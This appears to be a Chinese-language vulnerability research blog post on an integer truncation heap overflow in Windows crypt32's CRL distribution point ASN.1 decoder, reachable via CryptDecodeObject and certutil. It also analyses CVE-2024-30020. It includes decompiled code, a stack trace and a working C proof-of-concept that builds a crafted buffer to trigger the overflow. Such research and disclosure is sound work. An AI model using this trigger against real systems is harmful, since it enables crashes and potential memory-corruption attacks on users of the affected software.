在挖掘secure schannel的过程中, 发现后期有在调用crypt32!CryptDecodeObject函数去解码证书相关操作, 于是深入分析了一下, 发现存在很明显的整数溢出问题, 后来发现有长度限制. 经过遍历所有的解码操作, 找到了可以成功触发的整数溢出. 一起来了解一下吧.

先来了解一下CryptDecodeObject函数接口.

1
2
3
4
5
6
7
8
9
BOOL CryptDecodeObject(
[in] DWORD dwCertEncodingType,
[in] LPCSTR lpszStructType,
[in] const BYTE *pbEncoded,
[in] DWORD cbEncoded,
[in] DWORD dwFlags,
[out] void *pvStructInfo,
[in, out] DWORD *pcbStructInfo
);

[in] dwCertEncodingType

编码类型, 有两种, 可以或在一起.

  • X509_ASN_ENCODING
  • PKCS_7_ASN_ENCODING

[in] lpszStructType

OID, 可以是数字, 也可以是字符串. 参考 Constants for CryptEncodeObject and CryptDecodeObject.

调用关系路径示例:

1
2
3
4
5
6
7
crypt32!CryptDecodeObject(X509_ASN_ENCODING(1), X509_ECC_SIGNATURE(47), ...)
CryptDecodeObjectEx
Asn1X509DHParametersDecodeEx
Asn1InfoDecodeAndAllocEx
msasn1!ASN1_Decode // 检查len, 不能超过 0x61a8000 (100M)
crypto32!ASN1Dec_DHParameters // label1
....

不同的oid, label1位置就会是不同的调用函数, 具体函数列表见文章末尾.

有问题的函数存在于ASN1Dec_CRLDistributionPoints

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
__int64 __fastcall ASN1Dec_CRLDistributionPoints(__int64 a1, __int64 a2, unsigned int *a3)
{
......
if ( !(unsigned int)ASN1BERDecExplicitTag(a1, a2, &v23, &v25) )
return 0i64;
v6 = 0;
*a3 = 0;
*((_QWORD *)a3 + 1) = 0i64;
while ( 1 )
{
if ( !(unsigned int)ASN1BERDecNotEndOfContents(v23, v25) )
{
LOBYTE(v3) = (unsigned int)ASN1BERDecEndOfContents(a1, v23, v25) != 0;
return v3;
}
if ( !(unsigned int)ASN1BERDecPeekTag(v23, &v21) )
return 0i64;
if ( *a3 >= v6 )
{
if ( v6 )
v6 *= 2;
else
v6 = 16;
v7 = ASN1DecRealloc(v23, *((_QWORD *)a3 + 1), v6 << 6);// label2
if ( !v7 )
return 0i64;
*((_QWORD *)a3 + 1) = v7;
}
......
v11 = *((_QWORD *)a3 + 1) + (v10 << 6);
*a3 = *a3 + 1;
......

}
......
}

label2位置, 如果v6大于 0x20,0000, 2*v6*0x40 => 0x1,0000,0000, 而ASN1DecRealloc函数的第三个参数是一个int类型, 导致整数截断, 从而申请非常小的内存, 导致后面溢出. 因为可以控制内容, 所以溢出多少是大致可控的, 所以还是有不小的可利用性. 唯一的问题就是, 这个OID是0x23, 要找到windows支持它的服务是比较困难的, 通过逐一搜索所有导入了CryptDecodeObject函数的dll和exe文件, 最终找到一个使用到它的工具, 就是certutil.exe.

触发栈回溯为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
00 0000004a`b0c7e680 00007ffd`e8fa5b1b     ucrtbase!memset_repstos+0x9
01 0000004a`b0c7e690 00007ffd`e8fa5942 CRYPT32!Asn1X509CrlDistPointsDecodeExCallback+0x77
02 0000004a`b0c7e700 00007ffd`e8f568f5 CRYPT32!Asn1X509CrlDistPointsDecodeEx+0xb2
03 0000004a`b0c7e780 00007ffd`e8f564de CRYPT32!CryptDecodeObjectEx+0x145
04 0000004a`b0c7e830 00007ffd`e2b2185a CRYPT32!CryptDecodeObject+0x2e
05 0000004a`b0c7e880 00007ffd`e2b2096a cryptnet!ObjectContextGetRawUrlData+0x21a
06 0000004a`b0c7e9c0 00007ffd`e2b11e2a cryptnet!CertificateCrlDistPointGetObjectUrl+0x7a
07 0000004a`b0c7eaf0 00007ffd`e2b119fc cryptnet!CTVOAgent::GetTimeValidObject+0x41a
08 0000004a`b0c7ed30 00007ffd`e2b27cff cryptnet!CrlFromCertGetTimeValidObject+0x5c
09 0000004a`b0c7eda0 00007ffd`e2b274fb cryptnet!CryptGetTimeValidObject+0xbf
0a 0000004a`b0c7ee20 00007ffd`e2b26213 cryptnet!GetTimeValidCrl+0x38b
0b 0000004a`b0c7ef50 00007ffd`e8f475be cryptnet!MicrosoftCertDllVerifyRevocation+0x213
0c 0000004a`b0c7f0b0 00007ffd`e8f46785 CRYPT32!VerifyDefaultRevocation+0x552
0d 0000004a`b0c7f1d0 00007ff7`8d71812f CRYPT32!CertVerifyRevocation+0x115
0e 0000004a`b0c7f2d0 00007ff7`8d717dba certutil!VerifyRevocation+0xd3
0f 0000004a`b0c7f380 00007ff7`8d7164f7 certutil!VerifyCertAgainstParent+0x82e
10 0000004a`b0c7f490 00007ff7`8d71bc70 certutil!VerifyCRLAgainstCACert+0x647
11 0000004a`b0c7f5a0 00007ff7`8d6b3849 certutil!verbVerifyCert+0x1c0
12 0000004a`b0c7f640 00007ff7`8d78630c certutil!ArgvMain+0x9ed
13 0000004a`b0c7f870 00007ff7`8d785ecc certutil!myPreMain+0x41c
14 0000004a`b0c7f9c0 00007ffd`eadea1f8 certutil!myMainWndProc+0x3c
15 0000004a`b0c7f9f0 00007ffd`eaded038 USER32!UserCallWinProcCheckWow+0x398
16 0000004a`b0c7fb40 00007ff7`8d786575 USER32!DispatchMessageWorker+0x378
17 0000004a`b0c7fbc0 00007ff7`8d6a3d96 certutil!wWinMain+0x1ad
18 0000004a`b0c7fcb0 00007ffd`e9711f87 certutil!__wmainCRTStartup+0x1d6
19 0000004a`b0c7fd70 00007ffd`eb97b5b0 KERNEL32!BaseThreadInitThunk+0x17
1a 0000004a`b0c7fda0 00000000`00000000 ntdll!RtlUserThreadStart+0x20

其它

在12月的时候, Eric 也挖到了这个漏洞, 并且他还发现了一种远程利用的触发路径, 演示视频, 另外他还发现了另一个堆溢出(CVE-2024-30020), 他的演讲pdf Talse from The Crypt 也介绍了一下, 很不错的一个演讲.

CVE-2024-30020 发生在Asn1X509GetPKIFreeText函数内, 一开始我没看懂问题出在哪, 我们看一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
for ( i = (const void **)*((_QWORD *)a1 + 1); v5; --v5 )
{
v12 = *(unsigned int *)i;
v13 = 2 * v12 + 9; //补丁后代码
if ( !(unsigned int)EvaluateCurrentState((const struct reg_FeatureDescriptor *)a1) )// 补丁后代码
v13 = v12 + 9;// 补丁前代码
v14 = v13 & 0xFFFFFFF8;
v8 = *a5 - v14 < 0;
*a5 -= v14;
if ( !v8 )
{
*v9 = (LPWSTR)*a4;
if ( (_DWORD)v12 )
{
v15 = EvaluateCurrentState((const struct reg_FeatureDescriptor *)a1);// 补丁后代码
v16 = v12;
if ( v15 )
v16 = 2 * v12;// 补丁后代码
memcpy_0(*v9, i[1], v16);
}
(*v9)[v12] = 0;
*a4 = (LPWSTR *)((char *)*a4 + v14);
}
++v9;
i += 2;
}

所以, 它的补丁就是在计算size的时候, 以宽字节的方式去计算size. 一开始我并不明白这样的补丁是在干什么.

首先, *a5在减v14, *a4在加v14, 所以这个buffer和size是同步的, 不存在不同步导致的判断问题.

然后, v12值不能很大, 所以不会导致整数溢出, 那么, v14必然大于等于v12+8, 所以if(!v8)这个条件判断也不存在任何问题. memcpy操作也不存在任何问题.

那么问题一定出在 (*v9)[v12] = 0;, 朴素的理解里, 它应该也就占1字节, 是小于8的, 所以应该也小于v14的范围, 怎么会导致问题呢??

仔细查看了汇编以后, mov [rax+rsi*2], dx, 问题变得一目了然, 那就是它是当作宽字符串在处理的!!!

这时候, *v9 = (LPWSTR)*a4; 这一行变得异常刺眼了起来.

所以审计的时候, 还是需要多留心类型的变换, 如果有强制类型转换, 一定要多注意注意, 别被ida迷惑住了.

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <windows.h>
#include <winsock.h>
#include <wincrypt.h>
#pragma comment(lib, "Crypt32.lib")
#pragma comment(lib, "Bcrypt.lib")
#pragma comment(lib, "ws2_32.lib")


typedef unsigned int u32;
typedef unsigned char u8;

int main() {
#define MAX_SIZE (0x4000000+0x30)
unsigned char* buf = (char*)calloc(1, MAX_SIZE);

HCERTSTORE hStore = NULL;
PCCERT_CONTEXT pCert = NULL;
BCRYPT_KEY_HANDLE hKey = NULL;

DWORD pcbStructInfo[4];
pcbStructInfo[0] = 0;
// explicit tag
int i = 0;
int j;
buf[i++] = 0x20|0x10;
buf[i++] = 0x84;
*(u32*)(buf + i) = ntohl(MAX_SIZE - 0x30 + 2);
i += 4;
for (j = 0; j < (MAX_SIZE-0x30+2) /2; j++) {
// ASN1BERDecEoid
buf[i++] = 0x20|0x10;
buf[i++] = 0;
}// "1.1." 4bytes,

CryptDecodeObject(1, (LPCSTR)0x23, (const BYTE*)buf, MAX_SIZE-0x10, 0, 0, pcbStructInfo);
return 0;
}

ASN1Dec列表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
0 ASN1Dec_EncodedObjectID  1800a02b0
1 ASN1Dec_Bits 180095e20
2 ASN1Dec_IntegerType 1800a27c0
3 ASN1Dec_HugeIntegerType 1800a3d00
4 ASN1Dec_OctetStringType_0 1800a36e0
5 ASN1Dec_EnumeratedType 1800ba230
6 ASN1Dec_UtcTime 1800a4aa0
7 ASN1Dec_AnyString 180077ce0
8 ASN1Dec_AlgorithmIdentifier 180076ff0
9 ASN1Dec_Name 180077f20
10 ASN1Dec_Attributes 180077a40
11 ASN1Dec_RSAPublicKey 1800877f0
12 ASN1Dec_RSAPublicKey2 18008e170
13 ASN1Dec_DSSParameters 1800b2ba0
14 ASN1Dec_RSAPublicKey_0 1800e8ea0
15 ASN1Dec_DHParameters 1800a01d0
16 ASN1Dec_RC2CBCParameters 1800eb260
17 ASN1Dec_SMIMECapabilities 1800eb8d0
18 ASN1Dec_SubjectPublicKeyInfo 180084210
19 ASN1Dec_ChoiceOfTime 1800770d0
20 ASN1Dec_Extensions 1800775d0
21 ASN1Dec_SignedContent 1800871d0
22 ASN1Dec_CertificationRequestInfo 1800e7f60
23 ASN1Dec_CertificationRequestInfoDecode 1800b3af0
24 ASN1Dec_KeygenRequestInfo 1800e9610
25 ASN1Dec_AuthorityKeyId 1800a84e0
26 ASN1Dec_AltNames 1800790c0
27 ASN1Dec_EDIPartyName 1800e9030
28 ASN1Dec_BasicConstraints2 18008ac60
29 ASN1Dec_CertificatePolicies 180081880
30 ASN1Dec_CertificatePolicies95 1800e7e40
31 ASN1Dec_AuthorityKeyId2 180078c40
32 ASN1Dec_AuthorityInfoAccess 1800788e0
33 ASN1Dec_CRLDistributionPoints 180078d90
34 ASN1Dec_ContentInfo_0 18009fe00
35 ASN1Dec_SeqOfAny 180079740
36 ASN1Dec_TimeStampRequest 1800ec370
37 ASN1Dec_ContentInfoOTS 1800e8730
38 ASN1Dec_TimeStampRequestOTS 1800ec450
39 ASN1Dec_EnhancedKeyUsage 180083970
40 ASN1Dec_EnrollmentNameValuePair 1800e9310
41 ASN1Dec_CSPProvider 1800e7a20
42 ASN1Dec_CertificatePair 1800aadd0
43 ASN1Dec_IssuingDistributionPoint 1800784d0
44 ASN1Dec_PolicyMappings 1800aca70
45 ASN1Dec_PolicyConstraints 1800b3e30
46 ASN1Dec_CmcAddExtensions 1800e81f0
47 ASN1Dec_CmcAddAttributes 1800e8130
48 ASN1Dec_CertificateTemplate 1800a3390
49 ASN1Dec_OcspBasicResponse 180076130
50 ASN1Dec_BiometricSyntax 1800e77e0
51 ASN1Dec_Attribute 1800853a0
52 ASN1Dec_X942DhParameters 1800ecb30
53 ASN1Dec_X942DhOtherInfo 1800ec9b0
54 ASN1Dec_CertificateToBeSigned 18007d6a0
55 ASN1Dec_CertificateRevocationListToBeSigned 180075f30
56 ASN1Dec_KeyAttributes 1800e93d0
57 ASN1Dec_KeyUsageRestriction 1800e9510
58 ASN1Dec_BasicConstraints 1800b4230
59 ASN1Dec_UserNotice 1800ec6b0
60 ASN1Dec_VerisignQualifier1 1800ec7b0
61 ASN1Dec_ContentInfoSeqOfAny 1800e8850
62 ASN1Dec_CertificateTrustList 180076c10
63 ASN1Dec_NameConstraints 1800783e0
64 ASN1Dec_CrossCertDistPoints 1800e8dd0
65 ASN1Dec_CmcData 1800e82b0
66 ASN1Dec_CmcResponseBody 1800e8380
67 ASN1Dec_CmcStatusInfo 1800e8430
68 ASN1Dec_OcspTbsRequest 1800a8b90
69 ASN1Dec_OcspResponse 180095c50
70 ASN1Dec_OcspBasicResponseData 180076280
71 ASN1Dec_RsaSsaPssParameters 1800eb630
72 ASN1Dec_RsaesOaepParameters 1800b0010
73 ASN1Dec_OcspRequest 1800aeba0
74 ASN1Dec_LogotypeExtn 1800e9b90
75 ASN1Dec_EccCmsSharedInfo 1800e9190
76 ASN1Dec_TimeStampReq 1800ec1c0
77 ASN1Dec_TSTInfo 1800768e0
78 ASN1Dec_TimeStampResp 1800ec530
79 ASN1Dec_ChoiceOfCertOrCrl 1800e8040
80 ASN1Dec_CertificateBundle 1800e7d40
81 ASN1Dec_RSAPrivateKey_0 1800eb330
82 ASN1Dec_SubjectDirectoryAttributes 1800ebac0
83 ASN1Dec_SupportedAlgorithm 1800ebd00
84 ASN1Dec_TPMSpecification 1800ebe10
85 ASN1Dec_CRLEntry 180077460